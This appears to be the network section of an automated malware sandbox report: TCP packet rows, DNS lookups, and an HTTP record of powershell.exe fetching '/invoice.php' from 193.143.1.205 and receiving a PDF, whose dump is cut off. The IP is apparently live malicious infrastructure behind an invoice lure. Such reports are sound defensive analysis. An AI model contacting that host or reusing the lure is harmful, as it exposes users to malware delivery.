Jan 10, 2025 23:44:42.745589972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745604992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745614052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745619059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745651007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745697975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745743036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746099949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746112108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746124029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746166945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746170998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746184111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746196985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746206045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746232033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746273994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746284962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746296883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746313095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746319056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746345997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746436119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746454000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746464968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746476889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746486902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746498108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746514082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746514082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746526003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746545076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746547937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746561050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746577024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.746582031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.746618032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.776798010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.776984930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777040958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777081966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777120113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777169943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777170897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777177095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777216911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777232885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777255058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777288914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777302980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777326107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777367115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777374029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777403116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777445078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777451038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777479887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.777534008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.777539968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806480885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806539059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806574106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806600094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806639910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806648970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806678057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806714058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806727886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806754112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806801081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806816101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806852102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806889057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806902885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806941032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806977034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.806986094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.806993961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.807009935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.807029009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.808638096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835521936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835541010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835553885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835577965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835593939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835602999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835617065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835628986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835649967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835660934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835669994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835680008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835685968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835699081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835720062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835732937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835738897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835752010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835767031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835772991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835772991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835772991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835772991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835779905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835819960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835819960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835877895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835890055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835902929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835913897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835938931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.835951090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835963011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835973978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.835979939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836005926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836025953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836035013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836046934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836080074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836162090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836174965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836190939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836204052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836206913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836216927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836242914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836286068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836297989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836312056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836323977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836325884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836338043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836348057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836349010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836379051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836421967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836462021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836473942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836484909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836494923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836522102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836560011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836570978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836585045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836599112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836630106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836663961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836674929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836684942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836699009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836714983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836743116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836821079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836832047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836842060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836853981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836867094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836874008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836879969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836894035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836894989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836910009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.836920977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.836949110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.840719938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840740919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840750933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840795994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840809107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.840816021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840830088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840836048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.840841055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840847969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.840886116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.840984106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841002941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841013908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841023922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841041088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841042995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841054916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841064930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841103077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841140985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841152906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841164112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841177940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841191053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841196060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841208935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841211081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841219902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841245890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841290951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841332912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841350079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841367006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841377974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841406107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841404915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841418028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841428995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.841445923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.841470003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.868766069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868782997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868822098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868856907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868874073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868891954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868927002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868940115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.868952036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.868978024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.868978977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869016886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.869266987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869282007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869323015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869352102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869379044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.869399071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869417906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869434118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869471073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869491100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.869498014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.869704008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.893939972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893954992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893961906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893973112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893979073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893985033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.893996954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894069910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894078970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894083023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.894085884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894140005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894145012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.894145966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894180059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894188881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894193888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894215107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.894221067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.894222021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.894325972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927023888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927045107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927048922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927067041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927074909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927081108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927144051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927159071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927167892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927175999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927180052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927226067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927233934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927244902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927334070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927357912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927411079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927417994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927417994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927417994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927417994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927449942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927468061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927481890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927505970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.927527905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.927552938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.091573954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.100541115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.347608089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.820322990 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.825261116 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:43.826747894 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.826898098 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:43.831708908 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:44.634728909 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:44.680612087 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:46.094682932 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:44:51.509553909 CET	60956	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:44:51.509553909 CET	192.168.2.6	1.1.1.1	0xad48	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:44:51.516899109 CET	1.1.1.1	192.168.2.6	0xad48	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:44:52.220292091 CET	1.1.1.1	192.168.2.6	0x5412	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:44:52.220292091 CET	1.1.1.1	192.168.2.6	0x5412	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	5088	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:44:41.325700998 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:44:42.152681112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:44:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 